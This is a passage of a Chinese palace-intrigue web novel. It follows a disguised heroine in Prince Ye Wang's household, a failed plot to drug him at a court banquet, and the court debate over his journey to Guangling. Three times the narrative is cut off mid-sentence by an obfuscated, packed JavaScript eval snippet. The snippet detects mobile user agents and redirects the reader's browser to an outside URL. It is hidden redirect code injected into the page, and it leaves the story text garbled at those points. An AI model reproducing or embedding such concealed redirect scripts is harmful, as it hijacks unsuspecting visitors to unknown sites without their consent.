未等叶望回话，景帝继续道：“若是你的，就纳了做个妾，王府也非养不起；若不是，调查清楚公之于众，不要叫人看了皇家的笑话。” “父皇所言极是，”叶望垂头道，“这女子先前的相好躲在广陵，若是揪出谣言自破。” 叶望将头埋得更低：“父皇先前于曲江宴问儿臣要何赏赐，儿臣彼时伤病缠身，未能受赏。臣常闻广陵钟灵毓秀，心向往之。索性现今无事，臣请亲赴广陵，一来平悠悠众口，二来遍览胜景。” 景帝听了这话，抬眼看他，曲江宴的话不假，可广陵天高皇帝远，若是生变难以控制，老五还是在眼皮子底下最为周全。 景帝正了正身道：“戏子而已，倒不必如此兴师动众。非朕不准，自古以来皇子远行一事只少不多。”却也不急否认，“此事交由宗正寺权衡，若于祖制无违，则朕准了。” 好一个移花接木，所谓祖制，历经朝代更迭和经年修葺，深究起来，究竟何朝何版为祖制也不得而知，斡旋的手段罢了。 叶望只能点头应是。 景帝捧过左右递来的茶吹了吹：“朕乏了，不留你们，散了吧。” 众皇子起身告退，叶玄与叶望走在最前。 叶玄笑着看了叶望一眼：“我今儿仔细瞧了瞧，五弟真是面如冠玉、仪表非凡，难怪这么多美人在怀。我听说广陵烟花柳巷之地的女子，个个都媚骨天成，比京城的还要摄魂，纳入府中就算做个花瓶，也是极为赏心悦目。” 叶望同样回以微笑：“皇兄谬赞，愚弟倒还认识一些上好佳人，若是皇兄开口，必双手奉上。可惜皇兄高风亮节，不得识一二。”二人一路无话。 季辞秋在朱雀门的右掖门候着，远远看到一群锦衣玉带的公子，便起身御马。 见叶玄与叶望并行而出，一时心虚垂下头，只听叶玄似笑非笑与叶望道别：“繁花丛中过，哪能片叶不沾身。五弟今后切莫疏忽大意，小心左右呐。” —— 宗正寺，主薄满头大汗，正对着折子犯难。他左思右想，提笔又放下，终是叹了口气，起身去寻宗正卿。 “吕卿，这有一封有关五殿下的折子，下官拿捏不准，怕会错了意，请您过目。”说着将手中的折子呈上去。 吕信正执着玉杵研磨婆律国新贡的龙脑香，听了五殿下，神色一凛，接了过来。他细细看了一遍，抬手抚了抚胡须。 “大人，您看……” 吕信哼笑了一声：“能怎么看？” “五殿下赴广陵，圣人若是同意，要问我等的意见？怕是心里不愿，又因着先前曲江宴的话骑虎难下，便叫我宗正寺当这个恶人了。” “寻个理由，驳了吧。”吕信将折子交回主薄手里，端起瓷盏凑到鼻间闻了闻，发出一声满足的喟叹，“不愧是婆律国的香，香中极品啊。” 5. 宫宴 这日，季辞秋像往常一样卸下马，将马拉入马厩，往石槽里填满黍米。自从入了晋王府，叶玄并没有联系过她、也没有让她做什么，这让她既庆幸又不安。 正这样想着，一团东西自窗柩中飞了进来。季辞秋一惊，伸手接住。只见皱巴巴的纸上有一行小字，“明日百花宴卯初，至齐王府。” 百花宴自大周开国而设，延续至今。周高祖立国伊始，百废待兴，求贤若渴。遂在春闱放榜日设百花宴，收揽英奇，论宏图大志，成了一段君圣臣贤的佳话。届时，皇亲国戚毕至，叶望叶玄自然也在场。 去齐王府干什么？季辞秋一头雾水。 好在晋王府没空监视一个小小的车夫，次日，她以购马饲为由早早出府，待到了齐王府，说明来意，便被人引至一处偏院候着。 这院子极为简陋，除了正堂一张四方红木桌，便不剩什么。两侧厢房一边空落落的，一边上了把略显斑驳的铁锁。 季辞秋等了约莫两刻，才见一小厮姗姗而来：“姑娘这边请。” 她跟着小厮穿过几道窄门，迈入郁郁青青的小院，叶玄立于池边，一边喂鱼食一边逗着成群的金鲤。 见着季辞秋，他微笑道：“季姑娘，在这谈吧，不要扰了方才那屋里人的美梦。” 屋里有人？季辞秋想到那个上锁的房门，不自觉地打了个寒战。 叶玄撇了她一眼，不紧不慢道：“今日百花宴，本王缺个侍女。绿蔓，给季姑娘更衣。” 季辞秋一愣，正想说些什么，便被引入偏房。 先前让她女扮男装，现在又要扮侍女，这叶玄在搞什么鬼，沉迷cosplay吗？ 季辞秋心里没底，可此时的她就像砧板的鱼，只能任人摆布。 一番梳洗过后，季辞秋着一身杏子黄儒裙，扎双平髻站在铜镜前。她端详着镜中人，摸了摸自己的脸。说是易容，却也未完全变了模样，直挺的秀鼻、樱桃小口，竟是有些韵味。 就这样，季辞秋跟着叶玄入了宫城。百花宴设在太极宫的明德殿内，金銮宝座前陈金龙大宴桌，东西向分列众皇子的座席，叶玄与叶望并立而坐。 季辞秋立于一旁，躬身为叶玄倒茶。叶玄瞧着叶望独身一人，打趣道：“小五这般风华，怎得身边无一女子侍奉？” 叶望低头抿了口茶道：“愚弟在长平一个人惯了，不习身边得人侍奉。” “一个人总归是不便的，”叶玄指了指季辞秋，笑道，“瞧我这个如何，若是合眼，送你。” 疯了，季辞秋发现自己是真的看不懂叶玄，以至于他说出这番话也没有那么惊讶了。 只见叶望煞有介事地看了季辞秋一眼，摇头道：“小家碧玉，虽别有一番风味，但愚弟偏爱风姿绰约的艳丽女子，皇兄自己留着便是。” 本姑娘还瞧不上你呢，季辞秋心中腹诽，却是暗暗松了口气。叶玄听此颇为遗憾地道了声可惜，也不再多说。 没多久，教坊司的礼乐便徐徐奏起，大宴开始了。 众人纷纷噤声端坐，在繁复的礼节之后，新科进士便会入殿同天子论道经邦。 有别于立国初期的发扬踔厉，到景帝时期，这一环逐渐流于形式，是以多是讴功颂德之词。 季辞秋听得昏昏欲睡，却又不敢放松。在听到“长平之役保大周之安宁，功德无量”时，殿内忽得一静，季辞秋一个激灵，见有三两人朝这边看了过来。 殿前那个身形清瘦的读书人显然未料到此，再一细想已是后悔莫及。 景帝坐于上座没有吭声，一众大臣亦默不作声，场面一度尴尬。 这时，右仆射陆定年满脸堆笑道：“长平之役险恶异常，陇西节度使季恪里勾外联，率麾下神虎军叛变。若非陛下英明神武，当机立断，后果不堪设想，实乃圣神文武，彪炳千秋，不可不谓功德无量。” 一句话轻描淡写地绕过了争端，座下众臣闻此，纷纷举杯祝颂。脆弱的窗户纸终归能用，睁一只眼闭一只眼，谁也不愿捅开。 季辞秋余光瞥了一眼叶望，只见他眉目疏朗，微笑跟着群臣举杯，仿若置身事外。 宴会后段，景帝身体不适先行退了，众人没了拘束，三两聚在一起喝酒谈天。季辞秋见叶玄同人相谈甚欢，便悄悄离了席。 书上说大周太极宫玉楼金殿、画栋飞甍，没成想实物更甚。季辞秋边看边感叹，不知不觉到了一处雕栏玉砌的小花园，园子的尽头通往另一座巍峨的宫殿，亭台楼阁，纷华靡丽，角门无人把守。 宫中规矩甚多，她不敢贸然闯入，遂只在园中欣赏春意。 宴席上，叶望一人自斟自酌。因着身份与名声，忌惮贬鄙的也好、同情中立的也罢，无一不默契地避开了他。 如此也好，落了清净。 长安的春繁花似锦，空气中都有一股黏腻的花香，呆久了倒想念起长平肆意的风沙。没有拉扯，无关阴阳，用最原始的方式争斗，或粉身碎骨，或扬名立万。 叶望正出神，一小厮疾步而过，一张纸条落于桌上。 “季恪有冤。” 叶望一惊，久藏于心的结忽得被提起，一时竟有些无措。 有诈，他下意识想。可万一不是呢？ 眼见小厮越走越远，他不愿错过可能的讯息，一咬牙，快步跟了上去。那人脚程不似常人，竟越走越快。叶望紧跟其后，身体逐渐燥热，过了一处拐角，小厮没了踪影。 叶望心中升起不祥的预感，周身似有灼蚁爬过，心跳越来越快，意识也逐渐模糊，他不由自主扯开衣襟。 酒里下了药！叶望残存的理智告诉他，绝不可再向前，否则万劫不复。 可身体不听使唤，跌跌撞撞地一路前行。忽得眼前出现一位窈窕少女，玲珑有致，叶望不受控制地扑向前去，将她带离至竹林后。 季辞秋正于园中赏花，不妨一人饿虎般扑来，将她摁在了竹林后的园墙上。她大骇，正欲施展一套防狼十二式，便听那人捂着她的嘴急促道：“别出声，我不伤你。” 这声音好生熟悉，季辞秋往后移了移，看清了来人。 叶望？她心中一惊，眼前的男子衣衫不整，面色潮｜红，长睫微垂，克制地喘｜着粗气，似乎很是痛苦。 这是…被下了药？季辞秋正欲开口，一阵杂乱的脚步声传来，只见一小厮领着一群人匆匆经过，入了旁侧大殿的角门。 “这里？” “正是，奴亲眼见有人进来的。” 一阵嘈杂后，一女子被带了出来。“见过其他人吗？” 那女子吓得瘫坐在地，如实道：“未曾。” 小厮急了：“撒谎，你别是藏了男人！” 领头的听此，令手下去搜，宫殿威严，众人不敢随意翻动，花了好一会功夫，一无所获。 领头原本盼着立功，见此更不耐烦，喝道：“来这干何？” “听人说今天来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705545|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿有赏钱，”女子抽泣道，“奴上月才进宫，家中缺钱，便想着能攒点是点。奴什么也没碰，大人饶了奴吧。” 领头晦气地唾了一口：“知道这儿是什么地方吗？先皇后的寝宫你也敢进，活腻歪了。你们几个，拖下去处理了，动作小点，别惊着贵客。” 女子没成想讨点赏钱能丢了性命，木讷讷地被拉走，等反应过来哭天喊地，逐渐没了声儿。 季辞秋听明白了，有人在叶望的酒里下药，想让他在先皇后的寝宫与女子苟合。 这样一个日子，若是当着群臣与新秀的面做出这等事，于大周皇家便是彻彻底底的糗事，叶望必会一蹶不振，彻底失去人心。 好狠的招，可眼前男子的情况似乎更为糟糕。 高大的身躯带着浓重的压迫感，隐隐将欲失控。想到叶望风流成性，季辞秋有些害怕，试探问道：“公子，你没事吧？” 叶望没吭声，他强撑着身子，豆大的汗珠顺着脸颊流下。女子肤若凝脂的脖颈近在眼前，原始的欲望与清醒的理智撕扯着，他感觉自己快要疯了。 不能再呆在这儿了，他从袖中摸出一柄短匕，狠狠朝小臂刺去。剧烈的疼痛让意识清醒了一些，他环顾四周，确认无人后，纵身一跃，离开了。 季辞秋原本正权衡要不要趁其虚弱将其打晕，见叶望竟自己离去，一时反应不过来。 远处若有若无地传来一声女子的尖啸，她心中发毛，快步离开回到了宫宴。 宴会已近尾声，许多人喝得醉醺醺，被侍候着回府，叶玄亦是。季辞秋费了好大力气才将他扶回马车，忽得听其幽幽道：“方才季姑娘去哪了？” 季辞秋吓了一跳，如实道了先前在花园看到的宫女擅闯先皇后寝宫的事，只是隐去了叶望的部分。 “确是胆大包天，”叶玄嗤道，他似是累了，按了按额角，随意道：“你回去吧。” 季辞秋愣了一下，就没了？正欲问些什么，见叶玄放下车帘，已无意再说。 她只好垂头称是，卸下侍女装扮，去马市购了些马饩，回了府。 季辞秋有些迷茫了，她能感觉到，叶玄对自己并不上心。 把柄在人，可看不见自己的价值，亦摸不清对方的目的，往后的路该往何处走？ 季辞秋有想过将身份坦白给叶望，或许看在季将军的份上，叶望能放她一马。 可史料对叶望与季恪的关系记载甚少，尤其是季恪谋反被诛后，叶望并未为季恪辩护。这种情况下，打明牌的风险极大，季辞秋只能等。 王府的另一头，叶望赤身浸于桶中，紧闭双眼，浓眉轻拧。臂膀因寒冷的刺激而收缩，线条分明，青筋暴出。 黎叔立于一旁焦急道：“王爷大病将将痊愈，这样泡在冰水里，万万不能的。我去寻个信得过的大夫，也好过这样硬抗啊。” 叶望深吸一口气，艰难开口：“不可，我回长安不久，未有尽信之人。此事知道的人越少越好。” 凉风习习，背上升起一层细密的战栗，牵引左肩隐隐作痛。 伤口已愈，触目惊心的伤疤却永久地留了下来，时刻提醒他，过去的一切不是梦。 他多希望是一场梦。 叶望的意识更清晰了些，脑海中忽然浮现出园中女子的脸，似与宴上叶玄身边的侍女十分相像。想到那若有若无的柔软触感，心中又升腾起一股燥热。 他眯了眯眼，长夜漫漫，难熬得紧。 6. 松口 永昌坊，临近太极宫，可谓寸土寸金。在这块王公贵族云集的地儿，有一占地四十余亩的气派建筑群，那便是当朝右仆射陆定年的府邸。 正值府中老太太的六十寿诞，府内张灯结彩、喜气洋洋，久在宫中的陆皇后也获了圣人特批，准允回府省亲几日。 酒过三巡，众宾客兴致高涨，聚在一起吟诗作对，觥筹交错声、哄笑声不绝于耳。 陆定年坐于席中，见众人沉浸其中，遂放下酒樽，悄悄离了席。他穿过正堂，绕过游廊，自耳房入了后院。只见一头戴凤鸟步摇宝钗、身着正紫色祥瑞锦绣凤袍的女子端坐于堂上，似是等了许久。 “微臣参见皇后娘娘。”陆定年像模像样地行了个礼。 堂上的女子情绪泱泱，蹙着一对柳眉，闻声看了他一眼，没说话。 “皇后娘娘近来可好？”陆定年恭敬道。 陆容音又看了他一眼，欲言又止，最后叹了口气道：“兄长，现下只你我二人，就不必摆这副花架子了吧。” 陆定年听此，亦不再装，挺了挺身道：“百花宴那次不是筹划好了，为何还是让晋王跑了？” 陆容音料到他要兴师问罪，面无表情道：“是筹划好了，我暗中派的人在晋王酒里下了药，眼见着晋王喝下去了，宫里刚来的侍女也被骗去了永寿宫候着......” 话还没说完，被陆定年打断道：“不必说这些细枝末节，我只想知道为何晋王跑了？” “我也不知，只知我的人将他引到了永寿宫，他又忽得消失不见了。那药性来得猛，寻常，人不可能招架得住，除非他百毒不侵。”陆容音平静道。 陆定年看着她冷淡的表情，心中冒火，冷哼一声：“成事不足败事有余。” 这话形容堂堂皇后，实是不敬，可陆容音毫无反应，像个机械的木偶。 “你若那时肯听我的，买通替晋王问诊的太医，我们现今何须这样折腾！妇人之仁，妇人之仁呐！”陆定年扼腕叹息，越说越觉可惜，一甩长袖欲走。 “兄长，为何非要拼个你死我活？”陆容音开口道。 “为何？伴君如伴虎，朝堂上自古以来一直如此。那万人之上的位子只有一个，多少人虎视眈眈。”陆定年折了回来，有些苦口婆心道，“兄长做这些，不也是为了你和朗儿，倘若朗儿坐上了那个位子，你想要什么得不到？” 陆容音没吭声，忽得小声道：“子洵哥哥也能得到吗？” 声音虽小，陆定年还是听到了，一瞬之间，他的面部变得扭曲：“姜子洵？你贵为皇后，天子之妻，居然还留着这龌龊的心思！” 陆容音被龌龊两个字刺到了，她有些气息不稳，盯着陆定年道：“所以得不到了是吗？” “容音，你已为人母，还未长大吗？！”陆定年有些恨铁不成钢，“你那时年少无知，没见过什么男子，碰到他便以为遇到了良人。但你可想过，他当时只是七品的侍御史，姜家更是与陆家不可比，这样的人，根本护不了你。” “可是子洵哥哥对我很好，为官廉洁奉公，是清如水、明如镜的君子。” “君子？”陆定年讥笑道，“君子有何用？我看他这么些年，只爬到了御史中丞，仍是个五品小官，无用得很。” “别这样说他。”陆容音撇过脸去。 陆定年气急反笑：“陆容音！我一手将你送到后宫之主的位子，千万人景仰，你就是这样作贱自己的？你的夫君是九五之尊的天子，他敬你爱你，你还有何不满足？” 陆容音嘴角抽了抽，好一会儿，缓缓抬起头。 “可是兄长，你知道的，”她的声音有些颤抖，似是花了极大的力气压住哽咽，“陛下敬的、爱的是我吗？” 陆定年的耐心告罄，他不想再与她纠缠下去，冷声道：“无论如何，你既已是一国之母，便不可再率性妄为，还请皇后娘娘自重。”他标准地行了个大礼，未等陆容音说些什么，头也不回地走了。 —— 一大早，京城右武卫门口吵吵嚷嚷。 “冯将军在吗？我要见冯将军。”一结实魁梧的壮汉带着一帮人堵在门前。 “魏统领，”一男子陪着笑走出，“冯将军今日外出办事，不在右武卫。这又是怎么了？” “哼，怎么了，我他娘的还想问你呢？”壮汉啐了一口，“长林军抗击突厥有功，为何一回来就解了兵？我们将军重伤而归，刚从阎王那捡回一条命，为何面都不让我们见？” “哎呦，魏统领，不是同你说了好多遍了吗？晋王殿下现如今已自己释了兵权，不再领军了。” “将军自己释了兵权，兄弟们，你们信吗？”众人纷纷摇头，情绪激动地哄闹起来。 “我们长林军在边关拼命，提着脑袋过活，好不容易回了京城，朝廷就是这样对我们的？”壮汉怒目圆睁，“我看你们这些什么南衙十六卫，都他娘的是仪仗队里的一群废物。” 男子面色变了变，但仍和气道：“魏统领，稍安勿躁。你的心情我理解，只是我也是办差事的小官，这事我一定禀告大将军，一定给个交代。我还有事，先告退了。大家稍安勿躁，稍安勿躁啊。”说着不顾一片愤怒的叫骂声，转身进了衙门。 男子步履匆匆地入了偏房，见冯暨静坐在桌前，神情为难道：“大将军，方才......” “不必说了，我都听到了。”堂堂右武卫，被人叫做废物，冯暨的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705546|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色很难看。 那魏统领难缠得很，三番五次上门闹事。要不是圣人说要优待长林军的这些功臣，哪能容忍他们撒泼至今？ “明日我去朝上同圣人说说，不可再这样下去了。”冯暨道。 —— 五更天，太极宫中景帝用完早膳休息片刻，便上了早朝。 开春的漕运案忙了一阵，以一众官员革职流放为终。相比起来，近来颇为太平，是以朝议的都是无关紧要的琐事。 冯暨小心上前，躬身道：“启禀皇上，近日长林军的遗兵频频在右武卫闹事，要见晋王殿下。他们虽收归右武卫，却不服管教。臣遵旨优待功臣，可如此行径，实在有损皇家禁军的颜面。” “其他卫呢，也是如此？”景帝环顾道。 众卫的大将军点了点头。“陛下，臣还得知，长林军中领了军籍回乡的，近日并未离京，仍盘踞在城里，说是要等晋王殿下回长林军的消息。”一人补充道。 景帝没有吭声，右仆射陆定年疑惑问道：“晋王殿下不是已主动解了兵职，为何这般？” “臣已解释多次，奈何他们不信。”冯暨叹了口气。 “这就有些逞性妄为了，”陆定年瞧着景帝的脸色，“晋王殿下虽在边关征战有功，可皇城的禁军守京亦有功，为何这般追随。莫非晋王殿下才华盖世，大周独此一人？” 景帝原本已心生不悦，听了这番话更觉刺耳，沉声道：“禁军护卫京城，岂容这等放肆？” “既不服，便解了军籍遣返回乡吧。” “这......”兵部尚书孙建宁有些为难，他拱手道：“陛下，长平一战伤亡惨重，边关赀虏虎视眈眈，急需征兵扩充军队，以卫大周国土。先前解了长林军已致军中微词，若此时再遣返，怕是熄了民众参军的热情啊。” 景帝紧了紧右手的扳指，长林军一事，军中非议，他不是不知。 “臣看此事不必至此。”左仆射任经恒道。 “任老有何建言？” “计功受赏，赏一以劝百。” 景帝眯了眯眼，他明白了任经恒的意思。长林军恶战归来，最应受赏的是晋王，而今曲江宴的赏赐迟迟未兑现，晋王又在京城无所事事，自是给长林军的遗兵留了念想。 眼下让晋王去广陵是最好的办法，况且，驻守广陵的淮南节度使宋延向来与晋王不和，有他压着出不了什么岔子。 思及此，景帝道：“吕卿，宗正寺为何驳了晋王的折子？” 吕信背后冒汗，埋首道：“臣一时疏忽，请陛下责罚。” 初晨的日光照得大殿明晃晃一片，在跃动的浮尘中，景帝悠悠道：“罚一月俸禄，下次仔细些。” 7. 侍卫 就在季辞秋决定先耐下性子安心当一名车夫时，她收到了叶玄的下一个指令：同去广陵。 广陵？她深觉耳熟，忽得想起几日前千秋阁的芸娘说过此地。怕是叶望要去广陵。 她正思索着，冷不丁背后伸出双手，“嘿！傻愣这干啥！” 不用抬头，听声音便知是葵生。这人算是季辞秋来这的第一个朋友，虽然看着缺根筋，但竟是叶望的贴身侍卫。 说起与他相识，还要拜她练武所赐。刚来府上的日子，她没事便去仓储练武，自以为神不知鬼不觉，哪想葵生早就盯上了她。 起初她还极力否认，但自从知道了他这层身份，她便不再说了，有意无意地与他保持接触，毕竟身为一个卧底，打通叶望身边的关系网十分重要。久而久之，她竟觉这人不错，顺理成章做了朋友，还跟他学了几招。 而葵生或许觉得季辞秋身手敏捷、悟性不错又不像其他男丁出口成脏，所以很乐意和她侃两句。 “哎，我说，你这身手整天拉车喂马也太可惜了，真不想和我一样当侍卫？”葵生估计在她耳边念叨多次了，也不指望她做啥反应，随手扯了根草嚼。 “好啊。”季辞秋答道。 葵生一愣，嘴里的草掉了出来，站起来绕她转了一圈：“神嘞，你居然想当侍卫了？最近没受什么刺激吧。” 他作势要摸季辞秋的额头，季辞秋不动声色地躲开：“没受刺激，就是觉得这车夫的生活是有些无趣。” 先前葵生确实提过多次，但她总是推脱，与其说是犹豫不决，不如说是逃避。毕竟自己从一个21世纪、连条鱼都没杀过的弱鸡，转眼就要变成杀人如麻的侍卫，实在是虚得很。而现在推手终于出现，那就只能咬牙向前了。 “你可想好了？这一去可就回不了头了。我可以帮你在王爷面前美言几句，剩下的靠你自己。” “多谢。”有机会就有希望。 内院武堂，葵生刚迈进便差点被一阵凌厉的剑气削到。叶望身着桦色圆领窄袖收口短袍，手执一把云龙纹玄铁长剑，身姿英挺。见葵生进来，随手从架子上抽了把长刀扔过来。 葵生无奈接住，双足一顿，腾空跃起，向叶望劈去。叶望不忙躲避，待大刀落至眉心，疾向右闪，轻巧避开。而后趁侧身间隙，提剑蓦地突刺，直指葵生。 葵生无意比试，扔刀投降。叶望似乎对他的敷衍态度很扫兴，他放下剑取了条长巾擦汗：“何事？” 葵生见状笑嘻嘻道：“王爷，近日我在咱府中发现了个身手不错的好材，若加以培养，假以时日能与我媲美。” “何处？”能被葵生看上，叶望倒是有点兴趣。 “就那前头喂马的车夫，叫白轩。别看他身板小，敏捷灵巧得很。” 叶望动作停了一瞬，似是在回忆，而后将长巾一抛道：“叫过来看看。” 季辞秋被人引着，穿过垂花门进了内院。作为男仆，这是她第一次入内院，来不及欣赏院中景致，沿着抄手游廊，过几道偏门便到了武堂。 “王爷，人来了。”话音刚落便见叶望沉静如水的目光投过来。 季辞秋在府中见他的机会不多，但她总觉得叶望身上有种怪异的割裂感，府外风流成性，府内又隐隐有些冷漠寡言。 到底什么样才是真实的他？ 葵生见季辞秋许久未动，提着嗓子咳了几声。季辞秋回过神来，正要行跪拜礼。 叶望却似没看见，转身从架上挑了一柄短刀递了过来。他退到两米开外，提剑摆好架势，招手道：“来。” 季辞秋呼了口气，横握刀柄，护在身前：“得罪了。”霎时间，空气凝固了些，只余风声呼啸而过。 忽得，她脚尖蹬地，急速掠近。眼见刀锋就要刺中，叶望背手腾空，跃出了短刀的攻击范围，而季辞秋像是早料到似的，紧跟着腾空而起，身形如电，步步紧逼。 这动作凶猛异常，一旁的葵生忍不住拍手称快。 “不错。”叶望一个侧翻，忽地出掌，击向季辞秋手肘。季辞秋来不及防卫，情急之下，反手挽了个刀花，堪堪用刀背抵住掌风。 这是？叶望心一疑，这招式似乎甚为眼熟。正待细究，只见对面那人似是扭了腕子，刀柄一松，就要被掌风击倒。 叶望一愣，见其后是水塘，先一步掠至季辞秋身后，用手轻轻一点。 谁知那就要仰倒的人忽得一笑，骤然调转刀身。叶望反应也极快，一个撩掌打落短刀，没等季辞秋反应，迅速将她的双手反剪至背后。 身手是不错，但卑鄙了点…… 招式有章法，似是专门练过。但细看又觉得七零八乱，奇怪得很。 季辞秋被扭得吃痛，却见叶望迟迟没有放开，便求助地看向葵生。 “啊哈——好！”葵生正看着津津有味，赶忙起身，“王爷，如何？我没有骗你吧。” 叶望没吭声，放开季辞秋，将刀剑归位。 “身手不错，”他漫不经心道，“但当侍卫，不够。”说着抽了条长巾搭在肩上，迈进了屋。 季辞秋有些失落，“王爷一直这样，严格得紧，”葵生连忙安慰道，“你也别灰心，你这次在王爷面前露了一手，便同先前的车夫不同了。王爷定会记着你的，说不定之后有机会。” “嗯。”季辞秋应着，心中却屡屡后怕，方才情急之下反手挽了个刀花，叶望似乎有所察觉。为了防止暴露身份，她练这招时稍稍改造了些，不知叶望看出了几分。 不管了，至少刷了些存在感，总比当缩头乌龟强。 她一边想一边往垂花门走着，渐渐府内的景致吸引。 沿着青石铺就的小路，穿过月洞门，眼前豁然开朗。亭台楼阁浮于潺潺流水之上，环以嶙峋奇石，飞檐青瓦，曲折回旋，错落有致。春光似锦、绿柳含烟，这派绝景坠入水中，竟分不清虚实，也难辨水中浮花亦或花中映水。 内院正中是一棵高耸的棠梨树，早春时节，满树嫩白的花苞，随风摆动。 “五哥哥——”一道清脆的声音从垂花门外响起，紧接着便见一位着月白底织金如意纹直襟长裘，腰间扎紫檀色锦带的小公子。阔面周正，一双乌黑眼炯炯有神，身侧的白玉环佩随着跑动叮啷作响。 “你是何人，见本王为何不跪？”那小公子好奇地打量季辞秋。 黎叔闻声而来，扯着季辞秋跪地：“九殿下恕罪，他是新来的，不懂规矩。” 九殿下？季辞秋心中大震，千百年来的一代明君周文宗就这么出现在眼前，还是以一种稚气未脱的少年模样，这感觉真是奇妙。 “咳，黎叔，”叶朗似乎有些尴尬，“五哥哥在吗？” “王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705547|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷将才练完武，此刻在洗浴，九殿下进堂屋等吧。”没等话说完，叶朗便径自跑进堂屋。 叶望洗浴完毕，见堂屋有人，头也不抬道：“不好好温习功课，来我这做甚？” 魏王叶朗，年十二，将将小叶望十岁。因着久居边塞，对这样一个弟弟，叶望几乎没什么印象。不过叶朗恰好相反，许是在宫里常听叶望在长平的事迹，他对这个天降的哥哥兴趣颇高，一有机会便追着问东问西。叶望起初不太搭理，久而久之逐渐习惯了。 叶朗听见叶望的声音，猛地抬头，奇道：“五哥哥，你怎知是我？”，说着又补充了一句，“功课早温习完了。” “不请自来，除了你还有谁？”叶望没好气道，“找我何事？” “唉——”叶朗手撑着脸，“母后与舅父又吵架了，母后气坏身子染了风寒，近来也不让我靠近。我无聊就来找五哥哥玩了。” 叶朗口中的舅父正是日前势头正旺的右仆射陆定年，因着陆皇后颇受圣宠，九皇子叶朗又一表人才，在朝堂上可谓炙手可热。 “陆仆射与你母后毕竟骨肉至亲，不会做伤害你母后的事的，你不要担心。”叶望不动声色。 “你们都这么说，”叶朗盯着桌上的青釉纹梅瓶，眼中透出点点迷茫，“可我总觉得，舅父在逼母后做不喜欢的事，母后她一点也不开心。” 屋中一时默然。 “大人真奇怪，”叶朗没头没脑来了一句，“父皇也是，对我挺好，但又总是疏疏淡淡的。自从太子哥哥去世后，就一直这样。” “小九，慎言。”叶望打住了叶朗的话，“这皇宫处处都是耳朵，有些话，说出口便再不属于你，倘若被有心之人利用，有朝一日或将酿成祸患。” 叶朗闭了嘴：“我都明白的，五哥哥。我是实在憋不住了，才同你说的。”说罢瞧着叶望撇撇嘴：“五哥哥，你光说我，你自己也别再同那些女子有瓜葛了。我看书上的清流名士，万不会去这路柳墙花之地，父皇也不喜你这样的。” 不喜吗？叶望望着屋外正中的棠梨出了神。 有风自堂间穿过，席卷着暖意，撞在树梢。早熟的花便随风纷扬而落，化作一池春水，成了春天最早的殉葬者。 他伸手摸了摸叶朗的头：“小九教训的是，你看我此去广陵不就是为了了结吗？” “真的？”，叶朗本来恹恹的，想起这茬又来了精神，“我听说广陵虽不似长安这般繁华，但小桥流水、风景如画，正如诗里写的‘春水碧于天，画船听雨眠’，想想都觉得美极了。我要是也能去就好了。” “等你长大了，会有机会的。我去了给你带些好玩的回来。” “好！听说广陵的书画篆刻形神兼备、栩栩如生，五哥哥如果有时间，给我带枚印章就好。广陵的千层油糕也极为绵润，可惜是吃食……” 叶朗絮絮叨叨了许久，直到天色将晚，才依依不舍地离去。 这日夜里，季辞秋洗漱完毕正要进屋歇息，忽听东边侧道有细微脚步声。她轻声掠过庭院，脚尖轻点跃上一棵乔松。 只见一小厮提灯引着一位着纤细儒裙的女子。 嚯，白日酒楼厮混，夜里召人进府，还真是饥渴。季辞秋一嘁，正欲离开，那灯摇曳一闪，映亮了女子的脸庞。 这人不是别人，竟是那日千秋阁的芸娘。 8. 启程 她来这里做什么？ 季辞秋直觉这事不简单，她想跟上一探究竟，但夜巡人将近，只得回屋了。 第二日早晨，季辞秋刚从外面习武回来，便见葵生蹲在门口，似在等她。 “近来广陵一程筹备事项颇多，人手紧缺得很，黎叔吩咐你去东市的米麦行购些干粮。”葵生拿出一沓麻纸，“这是采买录，你遵着上头即可。” 季辞秋应下，收拾完便出了门。简略扫了扫清单，每种粮食的数量不一，看起来甚是繁杂。正往下翻着，一张略小的信件掉了出来：长林军粮草供应录。 长林军？季辞秋有印象，它是叶望早期驻守边防训练出的一支强大军队，纪律严明、势如破竹，算是叶望这一生寥寥无几的高光。后来周文宗即位，收归其下，在往后的岁月立下汗马功劳，为大周的昭宁盛世奠定了和平的物质基础。 这东西怎么会出现在这里？季辞秋左思右想觉得不对劲，便小心收入怀中，继续驾车行路。 出了崇仁坊东门，沿着折桂街往南走，愈走愈繁华。入了东市门，米麦行就在街的一侧。 “掌柜，帮我依着上面打包运到车上。” 掌柜接过季辞秋递来的一沓纸，粗略扫了几眼，见是大客户，立马笑盈盈地将她迎入店中。 